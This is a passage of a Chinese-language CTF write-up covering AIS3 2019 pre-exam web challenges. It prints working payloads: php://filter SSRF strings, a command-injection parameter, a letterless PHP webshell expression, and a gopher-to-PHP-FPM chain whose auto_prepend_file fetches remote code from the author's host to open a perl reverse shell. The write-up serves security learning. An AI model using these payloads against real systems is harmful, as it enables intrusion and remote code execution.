<pre><code>Uncaught TypeError: Cannot convert object to primitive value
</code></pre>
<p>&#x6240;&#x4EE5;&#x9019;&#x9053;&#x984C;&#x76EE;&#x53EA;&#x8981;&#x9001; <code>token[length][toString]</code> &#x8B93; length &#x6210;&#x70BA; object &#x4E26; override &#x6389; toString&#xFF0C;&#x5C31;&#x6703;&#x5728;&#x7B2C;&#x4E8C;&#x500B;&#x6BD4;&#x8F03;&#x689D;&#x4EF6;&#x5617;&#x8A66;&#x5C07; object &#x4F5C;&#x8F49;&#x63DB;&#x800C;&#x547C;&#x53EB;&#x5230; toString &#x6642;&#x5674;&#x51FA; TypeError&#xFF0C;&#x5982;&#x6B64;&#x9019;&#x822C;&#x5C31;&#x80FD;&#x5F97;&#x5230; flag&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10102_05.png" alt="10102_05" loading="lazy"></p>
<p>&#x9664;&#x6B64;&#x4E4B;&#x5916;&#x9084;&#x6709;&#x4E00;&#x500B; valueOf &#x7684; magic method&#xFF0C;&#x5169;&#x8005;&#x95DC;&#x4FC2;&#x53EF;&#x4EE5;&#x53BB;&#x770B;&#x51FA;&#x984C;&#x8005;&#x5B98;&#x65B9;&#x89E3;&#x6CD5;&#x88E1;&#x6709;&#x66F4;&#x8A73;&#x7D30;&#x7684;&#x63CF;&#x8FF0;&#x3002;</p>
<h2 id="d1v1n6">d1v1n6</h2>
<p>&#x984C;&#x76EE;&#x9801;&#x9762;&#x6709;&#x4E00;&#x500B;&#x8D85;&#x9023;&#x7D50;&#x6587;&#x5B57; Hint &#x9023;&#x7D50;&#x5230; <code>/?path=hint.txt</code>&#xFF0C;&#x719F;&#x6089;&#x7684;&#x670B;&#x53CB;&#x5F88;&#x5FEB;&#x5C31;&#x80FD;&#x806F;&#x60F3;&#x5230;&#x9019;&#x908A;&#x6216;&#x8A31;&#x5B58;&#x5728;&#x4E00;&#x500B;&#x53EF;&#x80FD;&#x662F; Arbitrary File Read&#x3001;Local File Inclusion &#x6216; Server-Side Request Forgery &#x7684;&#x6F0F;&#x6D1E;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10103_01.png" alt="10103_01" loading="lazy"></p>
<p>&#x7D93;&#x904E;&#x9ED1;&#x7BB1;&#x89C0;&#x5BDF;&#x53EF;&#x4EE5;&#x767C;&#x73FE;&#x7DB2;&#x9801;&#x662F;&#x7531; PHP &#x64B0;&#x5BEB;&#x4E26;&#x4E14;&#x662F;&#x500B; SSRF &#x6F0F;&#x6D1E;&#xFF0C;&#x4F46;&#x662F;&#x5617;&#x8A66;&#x8B80; index.php &#x7684;&#x539F;&#x59CB;&#x78BC;&#x53EA;&#x6703;&#x51FA;&#x73FE;&#x932F;&#x8AA4;&#x6587;&#x5B57;&#x8A0A;&#x606F;&#xFF0C;&#x8B93;&#x6211;&#x5011;&#x8A66;&#x8A66;&#x7528;&#x8001;&#x62DB;&#xFF1A;<code>php://filter/read=convert.base64-encode/resource=index.php</code>&#xFF0C;&#x6210;&#x529F;&#x8B80;&#x5230; base64 &#x7DE8;&#x78BC;&#x5F8C;&#x7684;&#x539F;&#x59CB;&#x78BC;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10103_02.png" alt="10103_02" loading="lazy"></p>
<p>&#x770B;&#x770B;&#x539F;&#x59CB;&#x78BC;&#xFF0C;&#x770B;&#x8D77;&#x4F86;&#x662F;&#x500B;&#x8981;&#x7E5E; Server-Side Request Forgery &#x4FDD;&#x8B77;&#x53BB;&#x8ACB;&#x6C42; 127.0.0.1 &#x7684;&#x6311;&#x6230;&#xFF0C;&#x5982;&#x679C;&#x6210;&#x529F;&#x8B93; PHP &#x5F9E; 127.0.0.1 &#x4F86;&#x6E90;&#x8ACB;&#x6C42; <code>http://127.0.0.1</code>&#xFF0C;&#x7B2C; 6 &#x884C;&#x5C31;&#x6703;&#x986F;&#x793A; flag &#x7684;&#x63D0;&#x793A;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10103_03.png" alt="10103_03" loading="lazy"></p>
<p>&#x65BC;&#x662F;&#x53EA;&#x8981;&#x8F38;&#x5165;<br>
<code>php://filter/read=convert.base64-encode/resource=http://localhost</code><br>
&#x5C31;&#x904E;&#x4E86;&#xFF0C;&#x56E0;&#x70BA;&#x51FA;&#x984C;&#x8005;&#x4E0D;&#x5C0F;&#x5FC3;&#x628A; regular expression &#x5BEB;&#x58DE;&#xFF0C;&#x6240;&#x4EE5;&#x7528; localhost &#x800C;&#x4E0D;&#x662F; 127.0.0.1 &#x5C31;&#x80FD;&#x904E; XD&#x3002;<br>
&#x5927;&#x5BB6;&#x53EF;&#x4EE5;&#x5148;&#x8A66;&#x8457;&#x81EA;&#x5DF1;&#x627E;&#x932F;&#x8AA4;&#x5728;&#x54EA;&#xFF0C;&#x60F3;&#x77E5;&#x9053;&#x932F;&#x5728;&#x54EA;&#x53EF;&#x4EE5;&#x53BB;&#x770B;&#x51FA;&#x984C;&#x8005;&#x5B98;&#x65B9;&#x89E3;&#x6CD5;&#x7684;&#x63CF;&#x8FF0;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10103_04.png" alt="10103_04" loading="lazy"></p>
<p>base64 &#x89E3;&#x78BC;&#x5F8C;&#x5C31;&#x80FD;&#x5F97;&#x77E5;&#x5B58;&#x6709; flag &#x7684;&#x6587;&#x5B57;&#x6A94;&#x4F4D;&#x7F6E;&#x548C;&#x4E0B;&#x4E00;&#x968E;&#x6BB5;&#x7684;&#x63D0;&#x793A;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10103_05.png" alt="10103_05" loading="lazy"></p>
<h2 id="d1v1n6d33p3r">d1v1n6 d33p3r</h2>
<p>&#x9019;&#x984C;&#x662F;&#x63A5;&#x7E8C;&#x4E0A;&#x4E00;&#x984C; d1v1n6&#xFF0C;&#x5728;&#x4E0A;&#x4E00;&#x984C;&#x7684;&#x63D0;&#x793A;&#x4E2D;&#x8AAA;&#x9019;&#x984C;&#x7684; flag &#x4F3C;&#x4E4E;&#x662F;&#x96B1;&#x85CF;&#x5728; internal network &#x4E2D;&#x7684;&#x67D0;&#x8655;&#x3002;</p>
<p>&#x5728; Server-Side Request Forgery &#x7684;&#x5229;&#x7528;&#x4E2D;&#xFF0C;&#x638C;&#x63E1;&#x5167;&#x7DB2;&#x76F8;&#x95DC;&#x8CC7;&#x8A0A; (IP&#x3001;Domain) &#x975E;&#x5E38;&#x91CD;&#x8981;&#xFF0C;&#x7562;&#x7ADF;&#x5728;&#x832B;&#x832B;&#x5167;&#x7DB2;&#x5927;&#x6D77;&#x4E2D;&#x6488;&#x91DD;&#x7684;&#x6548;&#x7387;&#x5F88;&#x5DEE;&#x3002;&#x5728;&#x9019;&#x9053;&#x984C;&#x76EE;&#x4E2D;&#x7684; SSRF &#x6F0F;&#x6D1E;&#x5177;&#x6709;&#x8B80;&#x6A94;&#x7684;&#x80FD;&#x529B;&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x5011;&#x901A;&#x5E38;&#x53EF;&#x5148;&#x5617;&#x8A66;&#x8B80;&#x53D6;&#x4EE5;&#x4E0B;&#x5E7E;&#x500B; Linux &#x4E3B;&#x6A5F;&#x4E0A;&#x7684;&#x91CD;&#x8981;&#x6A94;&#x6848;</p>
<ul>
<li><strong>/etc/resolv.conf</strong>: &#x53EF;&#x4EE5;&#x5F97;&#x77E5; nameserver &#x914D;&#x7F6E;&#x7684;&#x8CC7;&#x8A0A;</li>
<li><strong>/etc/hosts</strong>: &#x53EF;&#x4EE5;&#x5F97;&#x77E5; hostname &#x8207; ip &#x4F5C; mapping &#x7684;&#x8CC7;&#x8A0A;</li>
<li><strong>/proc/net/tcp</strong>: &#x6703;&#x5217;&#x51FA; listen &#x4E2D;&#x7684; TCP &#x9023;&#x7DDA;&#xFF0C;&#x6709;&#x6A5F;&#x6703;&#x53EF;&#x4EE5;&#x5F97;&#x77E5;&#x7576;&#x524D;&#x4E3B;&#x6A5F;&#x7684; ip &#x8CC7;&#x8A0A;</li>
</ul>
<p>&#x9019;&#x908A;&#x6211;&#x662F;&#x5148;&#x8B80;&#x53D6;&#x4E86; <strong>/proc/net/tcp</strong> &#x5C31;&#x767C;&#x73FE;&#x6709;&#x500B; listen &#x4E2D;&#x7684; TCP &#x9023;&#x7DDA; IP &#x70BA; <code>030016AC</code>&#xFF0C;&#x9019;&#x500B;&#x5B57;&#x4E32;&#x5176;&#x5BE6;&#x662F; IPv4 &#x4E2D; 4 &#x500B;&#x5340;&#x6BB5;&#x7684;&#x5341;&#x9032;&#x4F4D;&#x6578;&#x5B57;&#x8F49;&#x63DB;&#x6210; hex &#x7684;&#x7D50;&#x679C;&#xFF0C;&#x53EA;&#x4E0D;&#x904E;&#x9806;&#x5E8F;&#x662F;&#x76F8;&#x53CD;&#x7684;&#xFF0C;&#x5C0D;&#x61C9;&#x65B9;&#x5F0F;&#x662F;&#xFF1A;</p>
<pre><code>172 .  22 .   0 .   3
 AC    16    00    03
</code></pre>
<p><img src="https://cyku.tw/content/images/2019/07/10103_06.png" alt="10103_06" loading="lazy"></p>
<p>&#x5728;&#x78BA;&#x5B9A;&#x7576;&#x524D;&#x4E3B;&#x6A5F;&#x7684; IP &#x70BA; 172.22.0.3 &#x5F8C;&#xFF0C;&#x7C21;&#x55AE;&#x9ED1;&#x7BB1;&#x6E2C;&#x8A66;&#x5C31;&#x53EF;&#x4EE5;&#x99AC;&#x4E0A;&#x767C;&#x73FE;&#x5728;&#x9694;&#x58C1;&#x7684; 172.22.0.2 &#x6709;&#x500B;&#x5947;&#x602A;&#x7684;&#x7DB2;&#x9801;&#x670D;&#x52D9;&#xFF0C;&#x4ED6;&#x63A5;&#x53D7;&#x4E00;&#x500B;&#x53C3;&#x6578; dir&#xFF0C;&#x7136;&#x5F8C;&#x6703;&#x5E6B;&#x4F60;&#x5370;&#x51FA;&#x8CC7;&#x6599;&#x593E;&#x7684;&#x5167;&#x5BB9;&#xFF0C;&#x6709;&#x6C92;&#x6709;&#x89BA;&#x5F97;&#x5F88;&#x50CF;&#x300C;ls -la&#x300D;&#x7684;&#x6307;&#x4EE4;&#x7D50;&#x679C;&#xFF1F;<br>
<img src="https://cyku.tw/content/images/2019/07/10103_07.png" alt="10103_07" loading="lazy"></p>
<p>&#x6C92;&#x932F;&#xFF0C;&#x5C31;&#x662F;&#x4E00;&#x500B; Command Injection&#xFF0C;&#x53EA;&#x8981; <code>?dir=&apos;;id;echo &apos;</code> &#x5C31;&#x80FD;&#x6CE8;&#x5165;&#x6210;&#x529F;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10103_08.png" alt="10103_08" loading="lazy"></p>
<p>&#x67E5;&#x770B; 172.22.0.2 &#x4E0A;&#x7684; index.php &#x539F;&#x59CB;&#x78BC;&#xFF0C;&#x5C31;&#x80FD;&#x7372;&#x5F97;&#x7B2C;&#x4E8C;&#x628A; flag&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10103_09.png" alt="10103_09" loading="lazy"></p>
<h2 id="3v4l">3v4l</h2>
<p>&#x984C;&#x76EE;&#x76F4;&#x63A5;&#x7D66;&#x4E86; PHP &#x539F;&#x59CB;&#x78BC;&#xFF0C;&#x4F46;&#x662F;&#x6392;&#x7248;&#x975E;&#x5E38;&#x96DC;&#x4E82;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10105_01.png" alt="10105_01" loading="lazy"></p>
<p>&#x7C21;&#x55AE;&#x624B;&#x52D5;&#x91CD;&#x65B0;&#x6392;&#x7248;&#x5F8C;&#x5C31;&#x80FD;&#x5F88;&#x660E;&#x986F;&#x770B;&#x5230;&#x7A0B;&#x5F0F;&#x7684;&#x908F;&#x8F2F;&#xFF0C;&#x4E3B;&#x8981;&#x662F;&#x6703;&#x628A;&#x50B3;&#x9032;&#x4F86;&#x7684;&#x53C3;&#x6578; <code>$_GET[&apos;#&apos;]</code> &#x4E1F;&#x9032; eval &#x57F7;&#x884C;&#xFF0C;&#x4F46;&#x662F;&#x6709;&#x5E7E;&#x500B;&#x5C0F;&#x9650;&#x5236;&#xFF1A;</p>
<ul>
<li>&#x4E0D;&#x80FD;&#x6709;&#x82F1;&#x6587;&#x5B57;&#x6BCD; (&#x5305;&#x62EC;&#x5927;&#x3001;&#x5C0F;&#x5BEB;)</li>
<li>&#x4E0D;&#x80FD;&#x8D85;&#x904E; 18 &#x500B;&#x5B57;&#x5143;</li>
</ul>
<p><img src="https://cyku.tw/content/images/2019/07/10105_02.png" alt="10105_02" loading="lazy"></p>
<p>&#x9019;&#x9053;&#x984C;&#x76EE;&#x7684;&#x76EE;&#x6A19;&#x5F88;&#x660E;&#x78BA;&#xFF0C;&#x5C31;&#x662F;&#x76F8;&#x7576;&#x65BC;&#x69CB;&#x9020;&#x4E00;&#x500B;&#x7121;&#x5B57;&#x6BCD;&#x7684; WebShell&#xFF0C;&#x9019;&#x5C31;&#x8981;&#x7528;&#x5230; PHP &#x795E;&#x5947;&#x7279;&#x6027;&#xFF0C;&#x5229;&#x7528; PHP &#x7684; <code>~</code> NOT &#x904B;&#x7B97;&#x5B50;&#xFF0C;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x505A;&#x5230;&#x57F7;&#x884C; <code>(~%8C%86%8C%8B%9A%92)()</code> (&#x4E0D;&#x53EF;&#x8996;&#x5B57;&#x5143;&#x986F;&#x793A;&#x4E0D;&#x51FA;&#x4F86;&#xFF0C;&#x6240;&#x4EE5;&#x7FD2;&#x6163;&#x7528; url encode &#x4F86;&#x8868;&#x793A;) &#x76F8;&#x7576;&#x65BC;&#x57F7;&#x884C; <code>system()</code>&#xFF0C;&#x56E0;&#x70BA; PHP &#x6703;&#x5148;&#x628A; <code>%8C%86%8C%8B%9A%92</code> &#x7684;&#x5B57;&#x4E32;&#x4F5C; <code>~</code> NOT &#x5F8C;&#x518D;&#x547C;&#x53EB;&#x8A72;&#x5B57;&#x4E32;&#x4EE3;&#x8868;&#x7684;&#x51FD;&#x5F0F;&#x3002;&#x4F46;&#x56E0;&#x70BA;&#x984C;&#x76EE;&#x9650;&#x5236;&#x4E0D;&#x80FD;&#x8D85;&#x904E; 18 &#x500B;&#x5B57;&#x5143;&#xFF0C;&#x96D6;&#x7136;&#x7528; system &#x6709;&#x6A5F;&#x6703;&#x6E4A;&#x51FA;&#x525B;&#x525B;&#x597D;&#x7684;&#x6307;&#x4EE4;&#xFF0C;&#x4F46;&#x6C92;&#x6709;&#x597D;&#x7528;&#x7684;&#x5B8C;&#x6574; shell &#x5BE6;&#x5728;&#x75DB;&#x82E6; Q_Q</p>
<p>PHP &#x662F;&#x5F88;&#x68D2;&#x7684;&#x8A9E;&#x8A00;&#xFF0C;&#x4E0D;&#x662F;&#x53EA;&#x6709; system &#x51FD;&#x5F0F;&#x53EF;&#x4EE5;&#x57F7;&#x884C;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#xFF0C;&#x5B83;&#x81EA;&#x5E36;&#x4E00;&#x500B;&#x53CD;&#x5F15;&#x865F;&#x7684;&#x904B;&#x7B97;&#x5B50;&#x53EF;&#x4EE5;&#x57F7;&#x884C;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#xFF1A;</p>
<pre><code>echo `id`; // &#x57F7;&#x884C; id &#x7CFB;&#x7D71;&#x6307;&#x4EE4;
</code></pre>
<p>&#x66F4;&#x68D2;&#x7684;&#x662F;&#x9019;&#x500B;&#x904B;&#x7B97;&#x5B50;&#x9084;&#x6709; double evaluation &#x7279;&#x6027;&#xFF0C;&#x5982;&#x679C;&#x4F60;&#x7D66;&#x7684;&#x5B57;&#x4E32;&#x4E2D;&#x6709; $ &#x958B;&#x982D;&#x7684;&#x5B57;&#x6216; ${&#x8B8A;&#x6578;&#x540D;&#x7A31;} &#x7684;&#x5B57;&#x6A23;&#xFF0C;&#x5B83;&#x6703;&#x5148;&#x5617;&#x8A66;&#x89E3;&#x6790;&#x627E;&#x51FA;&#x5C0D;&#x61C9;&#x7684;&#x8B8A;&#x6578;&#xFF0C;&#x518D;&#x628A;&#x8B8A;&#x6578;&#x7684;&#x503C;&#x62FF;&#x4F86;&#x7576;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#x57F7;&#x884C;&#x3002;</p>
<pre><code>$a = &apos;id&apos;;
echo `$a`; // &#x57F7;&#x884C; id &#x7CFB;&#x7D71;&#x6307;&#x4EE4;
</code></pre>
<p>&#x66F4;&#x591A;&#x7684;&#x7BC4;&#x4F8B;&#x53EF;&#x4EE5;&#x53C3;&#x8003; PHP &#x5B98;&#x65B9;&#x6587;&#x4EF6;&#xFF1A;<br>
<a href="https://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.double">Strings #Double quoted</a></p>
<p>&#x7E3D;&#x4E4B;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x5229;&#x7528;&#x524D;&#x8FF0;&#x7684; NOT &#x904B;&#x7B97;&#x5B50;&#x548C;&#x53CD;&#x5F15;&#x865F;&#x904B;&#x7B97;&#x5B50;&#x7684; double evaluation &#x7279;&#x6027;&#xFF0C;&#x69CB;&#x9020;&#x51FA;&#x4EE5;&#x4E0B; payload:</p>
<pre><code>`{${~%A0%B8%BA%AB}[0]}`;
</code></pre>
<p>&#x9019;&#x500B; payload &#x57F7;&#x884C;&#x6642;&#xFF0C;PHP &#x6703;&#x5148;&#x628A; <code>%A0%B8%BA%AB</code> &#x5B57;&#x4E32;&#x4F5C; NOT &#x904B;&#x7B97;&#x5F97;&#x5230; <code>_GET</code>&#xFF0C;<code>${~%A0%B8%BA%AB}</code> &#x518D;&#x53BB;&#x89E3;&#x6790;&#x53D6;&#x5F97; <code>$_GET</code> &#x8B8A;&#x6578;&#xFF0C;&#x4E4B;&#x5F8C;&#x8B8A;&#x6210;&#x50CF; <code>{$_GET[0]}</code> &#x53D6;&#x5F97; <code>$_GET</code> &#x9663;&#x5217;&#x4E2D; index &#x70BA; 0 &#x7684;&#x503C;&#xFF0C;&#x6700;&#x7D42;&#x628A;&#x9019;&#x500B;&#x503C;&#x7576;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#x53BB;&#x57F7;&#x884C;&#x3002;</p>
<p>&#x6240;&#x4EE5;&#x53EA;&#x8981;&#x5728;&#x53C3;&#x6578;&#x4E0A;&#x7D66; <code>?0=id</code> &#x5C31;&#x80FD;&#x8F15;&#x9B06;&#x57F7;&#x884C;&#x4EFB;&#x4F55;&#x9577;&#x5EA6;&#x7684;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#x4E26;&#x7372;&#x5F97; flag&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10105_03.png" alt="10105_03" loading="lazy"></p>
<h2 id="babyssrf">BabySSRF</h2>
<p>&#x984C;&#x76EE;&#x5C31;&#x8AAA;&#x660E;&#x4E86;&#x4E00;&#x5207;&#xFF0C;&#x5C31;&#x662F;&#x6253; Server-Side Request Forgery&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10106_01.png" alt="10106_01" loading="lazy"></p>
<p>&#x53EF;&#x4EE5;&#x5617;&#x8A66;&#x7528; <code>dict://</code> &#x5354;&#x5B9A;&#x63A2;&#x6E2C;&#x672C;&#x6A5F;&#x4E0A;&#x5176;&#x4ED6; port &#x7684;&#x670D;&#x52D9;&#xFF0C;&#x540C;&#x6642;&#x4E5F;&#x80FD;&#x767C;&#x73FE;&#x652F;&#x63F4; <code>gopher://</code> &#x5354;&#x5B9A;&#x53EF;&#x4EE5;&#x767C;&#x51FA;&#x4EFB;&#x610F; TCP &#x5C01;&#x5305;&#x5167;&#x5BB9;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10106_02.png" alt="10106_02" loading="lazy"></p>
<p>&#x7D93;&#x904E;&#x4E00;&#x4E9B;&#x9ED1;&#x7BB1;&#x89C0;&#x5BDF;&#xFF0C;&#x767C;&#x73FE;&#x672C;&#x6A5F;&#x7684; 9000 port &#x662F;&#x958B;&#x555F;&#x7684;&#x72C0;&#x614B;&#xFF0C;&#x800C;&#x9019;&#x500B; port &#x662F; PHP-FPM &#x7684;&#x9810;&#x8A2D; port&#xFF0C;&#x5927;&#x6982;&#x53EF;&#x4EE5;&#x731C;&#x6E2C;&#x662F;&#x7528; <code>gopher://</code> &#x507D;&#x9020; TCP &#x5C01;&#x5305;&#x767C;&#x7D66; PHP-FPM &#x57F7;&#x884C;&#x3002;PHP-FPM &#x5403;&#x7684;&#x662F; FastCGI &#x7684; protocol&#xFF0C;&#x4E00;&#x822C;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x5074;&#x9304;&#x81EA;&#x5DF1;&#x672C;&#x6A5F;&#x7684;&#x5C01;&#x5305;&#x518D;&#x4F86;&#x900F;&#x904E; gopher &#x91CD;&#x9001;&#x5230;&#x76EE;&#x6A19;&#x4E0A;&#xFF0C;&#x4F46;&#x5728;&#x9019;&#x9053;&#x984C;&#x76EE;&#x4E2D;&#x5982;&#x679C;&#x7DB2;&#x5740;&#x8F38;&#x5165;&#x8D85;&#x904E; 236 &#x500B;&#x5B57;&#x5143;&#x6703;&#x51FA;&#x73FE;&#x932F;&#x8AA4;&#x8A0A;&#x606F;&#xFF1A;&#x300C;Your url is too looooong! (max length: 236)&#x300D;&#xFF0C;&#x4E00;&#x822C;&#x5074;&#x9304;&#x4E0B;&#x4F86;&#x7684;&#x90FD;&#x6703;&#x8D85;&#x904E;&#x9019;&#x500B;&#x5B57;&#x5143;&#x6578;&#xFF0C;&#x52E2;&#x5FC5;&#x8981;&#x5BA2;&#x88FD;&#x5316; payload &#x4F86;&#x7E2E;&#x77ED;&#x9577;&#x5EA6;&#xFF0C;&#x96D6;&#x7136;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x624B;&#x52D5;&#x69CB;&#x9020;&#xFF0C;&#x4F46;&#x662F;&#x5C01;&#x5305;&#x7D50;&#x69CB;&#x8981;&#x5F88;&#x7CBE;&#x78BA;&#xFF0C;&#x53EA;&#x8981;&#x4E00;&#x500B; byte &#x7B97;&#x932F;&#x5C31;&#x6703;&#x5931;&#x6557;&#xFF0C;&#x5C0D;&#x65BC;&#x624B;&#x6B98;&#x7684;&#x6211;&#x9078;&#x64C7;&#x501F;&#x7528;&#x9019;&#x500B; GitHub Repository: <a href="https://github.com/piaca/fcgi_exp">piaca/fcgi_exp</a> &#x4E0A;&#x7684; fcgiclient &#x4F86;&#x5B8C;&#x6210;&#x69CB;&#x9020; payload &#x7684;&#x4EFB;&#x52D9;&#x3002;</p>
<p>&#x7E2E;&#x6E1B; fcgiclient &#x7684;&#x53C3;&#x6578;&#xFF0C;&#x6700;&#x5F8C;&#x53EA;&#x5269;&#x4E0B;&#xFF1A;</p>
<pre><code>env[&quot;PHP_VALUE&quot;] = &quot;allow_url_include=On\nauto_prepend_file=http://ip/a&quot;
env[&quot;REQUEST_METHOD&quot;] = &quot;GET&quot;
</code></pre>
<p>&#x4E3B;&#x8981;&#x662F;&#x5C07; allow_url_include &#x91CD;&#x65B0;&#x8A2D;&#x7F6E;&#x70BA; on&#xFF0C;&#x518D;&#x900F;&#x904E; <code>auto_prepend_file=http://ip/a</code> &#x53BB;&#x8F09;&#x5165;&#x9060;&#x7AEF;&#x7684; PHP &#x7A0B;&#x5F0F;&#x78BC;&#x57F7;&#x884C;&#x3002;</p>
<p>&#x5728;&#x672C;&#x5730; nc &#x4E00;&#x500B; port &#x4F86;&#x63A5;&#x6536; FastCGI &#x7684;&#x5C01;&#x5305;&#xFF0C;&#x518D;&#x8B93; fcgiclient &#x5F80;&#x9019;&#x500B; port &#x4E0A;&#x9001;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10106_03.png" alt="10106_03" loading="lazy"></p>
<p>&#x6211;&#x5728;&#x81EA;&#x5DF1;&#x7684;&#x4F3A;&#x670D;&#x5668;&#x4E0A;&#x6E96;&#x5099;&#x4E86;&#x4E00;&#x500B; PHP &#x7A0B;&#x5F0F;&#x78BC;&#x7684;&#x6A94;&#x6848;&#xFF0C;&#x5167;&#x5BB9;&#x662F;&#x547C;&#x53EB;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#x7528; perl &#x57F7;&#x884C;&#x4E00;&#x6BB5; Reverse Shell &#x56DE;&#x5230;&#x6211;&#x81EA;&#x5DF1;&#x7684;&#x4E3B;&#x6A5F;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10106_04.png" alt="10106_04" loading="lazy"></p>
<p>&#x7528; <code>gopher://</code> &#x91CD;&#x65B0;&#x5305;&#x88DD; FastCGI &#x5C01;&#x5305;&#x5167;&#x5BB9;&#x9001;&#x904E;&#x53BB;&#xFF0C;&#x8A18;&#x5F97;&#x8981;&#x591A;&#x9001;&#x5E7E;&#x6B21;&#x8B93;&#x914D;&#x7F6E;&#x751F;&#x6548;&#x624D;&#x80FD;&#x9806;&#x5229;&#x57F7;&#x884C;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10106_05.png" alt="10106_05" loading="lazy"></p>
<p>&#x6C92;&#x610F;&#x5916;&#x5C31;&#x6703;&#x9806;&#x5229;&#x62FF;&#x5230; Reverse Shell&#xFF0C;&#x63A5;&#x8457;&#x770B;&#x770B;&#x6839;&#x76EE;&#x9304;&#x7684;&#x6A94;&#x6848;&#x5217;&#x8868;&#xFF0C;&#x767C;&#x73FE; <code>/flag</code> &#x7684;&#x6A94;&#x6848;&#xFF0C;&#x53EF;&#x662F;&#x8A2D;&#x5B9A;&#x6210;&#x53EA;&#x6709; root &#x53EF;&#x4EE5;&#x8B80;&#x53D6;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10106_06.png" alt="10106_06" loading="lazy"></p>
<p>&#x540C;&#x6642;&#x767C;&#x73FE;&#x6709;&#x500B; setuid &#x7684; binary &#x53EB; <code>/readflag</code> &#x4E26;&#x4E14;&#x6709;&#x7D66;&#x539F;&#x59CB;&#x78BC; <code>/readflag.c</code>&#xFF0C;&#x672C;&#x4EE5;&#x70BA;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x57F7;&#x884C;&#x90A3;&#x500B; binary &#x62FF; flag&#xFF0C;&#x7D50;&#x679C;&#x5C45;&#x7136;&#x9084;&#x8981;&#x8F38;&#x5165;&#x4E00;&#x500B;&#x52A0;&#x6CD5;&#x7B97;&#x5F0F;&#x7684;&#x7B54;&#x6848;&#xFF0C;&#x800C;&#x4E14;&#x986F;&#x793A;&#x5F8C;&#x8B93;&#x4F60;&#x8F38;&#x5165;&#x7684;&#x6642;&#x9593;&#x6975;&#x70BA;&#x77ED;&#x66AB;&#xFF0C;&#x5E7E;&#x4E4E;&#x4E0D;&#x53EF;&#x80FD;&#x5FC3;&#x7B97;&#x5B8C;&#x624B;&#x52D5;&#x8F38;&#x5165; XD<br>
<img src="https://cyku.tw/content/images/2019/07/10106_07.png" alt="10106_07" loading="lazy"></p>
<p>&#x500B;&#x4EBA;&#x5B78;&#x85DD;&#x4E0D;&#x7CBE;&#xFF0C;&#x53EA;&#x77E5;&#x9053;&#x6700;&#x7C21;&#x55AE;&#x66B4;&#x529B;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x7528; PHP &#x5BEB;&#x4E86;&#x4E00;&#x500B;&#x7A0B;&#x5F0F;&#x8B80;&#x53D6; <code>/readflag</code> &#x8F38;&#x51FA;&#x7136;&#x5F8C;&#x8A08;&#x7B97;&#x7B54;&#x6848;&#x518D;&#x8F38;&#x5165;&#x7D66;&#x5B83;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10106_08.png" alt="10106_08" loading="lazy"></p>
<p>&#x57F7;&#x884C;&#x5F8C;&#x7D42;&#x65BC;&#x80FD;&#x7372;&#x5F97; flag&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10106_09.png" alt="10106_09" loading="lazy"></p>
<hr>
<p>&#x4EE5;&#x4E0A;&#x5C31;&#x662F;&#x4ECA;&#x5E74; pre-exam &#x7684;&#x6240;&#x6709; web &#x984C;&#x76EE;&#x4E86;&#x3002;<br>
&#x96D6;&#x7136;&#x6211;&#x65E2;&#x4E0D;&#x662F;&#x5B78;&#x54E1;&#x4E5F;&#x4E0D;&#x662F;&#x5DE5;&#x4EBA;&#xFF0C;&#x4F46;&#x9084;&#x662F;&#x795D;&#x5927;&#x5BB6;&#x90FD;&#x80FD;&#x5728;&#x4ECA;&#x5E74;&#x7684; AIS3 &#x73A9;&#x5F97;&#x6109;&#x5FEB; XDD</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[0CTF/TCTF 2019 Quals: Ghost Pepper Write-up]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>&#x592A;&#x4E45;&#x6C92;&#x5BEB;&#x6587;&#x7AE0;&#xFF0C;&#x5FEB;&#x901F;&#x8A18;&#x9304;&#x4E00;&#x6B21;&#x7C21;&#x55AE;&#x7684; Web &#x984C;&#x76EE;&#x3002;</p>
<p>&#x984C;&#x76EE;&#x6558;&#x8FF0;&#x5982;&#x4E0B;&#xFF1A;</p>
<pre><code>Do you know ghost pepper? Let&apos;s eat. http://111.186.63.207:31337
</code></pre>
